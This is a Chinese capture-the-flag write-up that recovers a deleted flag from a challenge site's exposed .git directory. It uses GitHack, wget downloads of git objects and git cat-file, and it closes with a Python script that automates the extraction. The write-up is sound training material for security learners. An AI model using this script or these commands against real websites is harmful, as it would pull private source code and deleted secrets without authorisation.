[比较复杂的/.git泄露]

find songthing盲猜robots协议

发现.git/

存在git文件泄露,于是githack提取源码:

D:\githack\GitHack-master>python githack.py http://challenge.imxbt.cn:32101/.git/
[+] Download and parse index file ...
[+] README.md
[OK] README.md

readme写道:

# My Website

This is my web project.

Oops, I place flag here, but i deleted it!

要追溯历史文件

想到了bugku做到的source,参考下解法,利用wget指令得到git文件

下载/.git/被ban,/.git/config成功

[core]
	repositoryformatversion = 0
	filemode = false
	bare = false
	logallrefupdates = true
	symlinks = false
	ignorecase = true

于是读取 /.git/logs/HEAD查看提交日志

 0000000000000000000000000000000000000000 8f7720b7891039b394e26e67ff10d6c6d2a144d5 Kengwang <github@kengwang.com.cn> 1724351558 +0800	commit (initial): Initial Commit
8f7720b7891039b394e26e67ff10d6c6d2a144d5 9d85f10e0192ef630e10d7f876a117db41c30417 Kengwang <github@kengwang.com.cn> 1724351673 +0800	commit: Add What
9d85f10e0192ef630e10d7f876a117db41c30417 e2bc04bc70f7b7476ae7ad0e943ef62aa2b5556e Kengwang <github@kengwang.com.cn> 1724351728 +0800	commit: Remove Flag

于是抓取9d85f10e0192ef630e10d7f876a117db41c30417的内容:/.git/objects/9d/85f10e0192ef630e10d7f876a117db41c30417

删除已有的.git文件

rm -rf .git

移入下载得到的文件

mv 85f10e0192ef630e10d7f876a117db41c30417 .git/objects/9d/

使用git打印改commit的内容

git cat-file -p 9d85f10e0192ef630e10d7f876a117db41c30417
tree b5a27f2196dceb21778f2d6c7d8536bdca8534d2
parent 8f7720b7891039b394e26e67ff10d6c6d2a144d5
author Kengwang <github@kengwang.com.cn> 1724351673 +0800
committer Kengwang <github@kengwang.com.cn> 1724351673 +0800
gpgsig -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCAAdFiEEdNAOWRbUaClRFMzdntTLigz0KxgFAmbHhMkACgkQntTLigz0
 KxjgGg/9FVaa8rX4eVHSPneKWutmjPHXzBw09TjLi68Ty0SnNl5H8EOObAhLyCL6
 EqtnzhmnMn+nB5d0EzJOK9fSXuBjU/g9Qclsm35s6xvG49NA8q1V5OnmDI+/wInO
 eEf/RF1wHFRQ4JXnao9pPxLFauD3z8Scfgle/7InRMm24/uVy4bHjdirpOGAxsOC
 VUB4bwKL94QpOgMZsEnzYJuFhYqewUQOM2Yz6jr2Wio758dFGQPRNqgZzVvUlM7m
 /FUiUEEgUqNb1S5I2/ouf8HjvUN+/3Wr2tvvieDX+C2/3zczaaDXjgGhhTodooXO
 QM6290UCL8eq9M+T95zJAB2oLA5AJBxp5rUYhAE1g08wrT8CW854/wZDi5ZpxjwT
 haRfWPLNWTZWNIco4/R56OuTjP2AWu9FBpchgk+oFxj9lFSVeeKADbNzSp4t2Wik
 Ipgm6YOtVTW6R/9f6wzyD0+0TMD9L/4xFk6dxoG+lf8Ibb5jU7eoDaxCz67NVjK5
 NjYjp0X8iyTS0h3u/DlmtSOSugrLzbBiF7eP2MXltbLlr6EF71WmW37X3w4zYhDY
 sTHMdCu2OUKdSOT08maPcS2+wWFhEfhAXba8lzhOE8XykzoCFuvZCvq1FMsVBMMs
 uDDke0u3nodhSM5+Kukch8LbNm4ruc35NDocS9wd1iQyVb/3yrk=
 =5gJ8
 -----END PGP SIGNATURE-----

Add What

得到tree值:/.git/objects/b5/a27f2196dceb21778f2d6c7d8536bdca8534d2

重复以上操作,移动文件,然后查看文件内容:

mkdir -p .git/objects/b5/
mv a27f2196dceb21778f2d6c7d8536bdca8534d2 .git/objects/b5/

git cat-file -p b5a27f2196dceb21778f2d6c7d8536bdca8534d2
100644 blob 0d2c09b9b0c9e912fe9404a3c36bd7ec2dbb080e    README.md
100644 blob db8b21d3ebddd6826ee6f2583a6e4f56b3e9a736    flag.txt

存在flag.txt

下载:

wget http://challenge.imxbt.cn:32101/.git/objects/db/8b21d3ebddd6826ee6f2583a6e4f56b3e9a736

最后重复

# 创建目录
mkdir -p .git/objects/db/

# 移动文件
mv 8b21d3ebddd6826ee6f2583a6e4f56b3e9a736 .git/objects/db/

# 见证奇迹的时刻
git cat-file -p db8b21d3ebddd6826ee6f2583a6e4f56b3e9a736
BaseCTF{1aa62024-5a12-4f55-80fa-cb9c41e1154b}  

Flag

BaseCTF{1aa62024-5a12-4f55-80fa-cb9c41e1154b}

Exp

import os
import requests
from urllib.parse import urljoin

BASE = "http://challenge.imxbt.cn:32101"

def fetch_obj(hash_obj):
    prefix = hash_obj[:2]
    rest = hash_obj[2:]
    url = f"{BASE}/.git/objects/{prefix}/{rest}"
    r = requests.get(url)
    if r.status_code == 200:
        os.makedirs(f".git/objects/{prefix}", exist_ok=True)
        with open(f".git/objects/{prefix}/{rest}", "wb") as f:
            f.write(r.content)
        return True
    return False

# Read commit log
r = requests.get(f"{BASE}/.git/logs/HEAD")
print("[+] Commit log:")
print(r.text)

# Download target commit object
fetch_obj("9d85f10e0192ef630e10d7f876a117db41c30417")
os.system("git cat-file -p 9d85f10e0192ef630e10d7f876a117db41c30417")

# Download tree object
fetch_obj("b5a27f2196dceb21778f2d6c7d8536bdca8534d2")
os.system("git cat-file -p b5a27f2196dceb21778f2d6c7d8536bdca8534d2")

# Download flag blob
fetch_obj("db8b21d3ebddd6826ee6f2583a6e4f56b3e9a736")
os.system("git cat-file -p db8b21d3ebddd6826ee6f2583a6e4f56b3e9a736")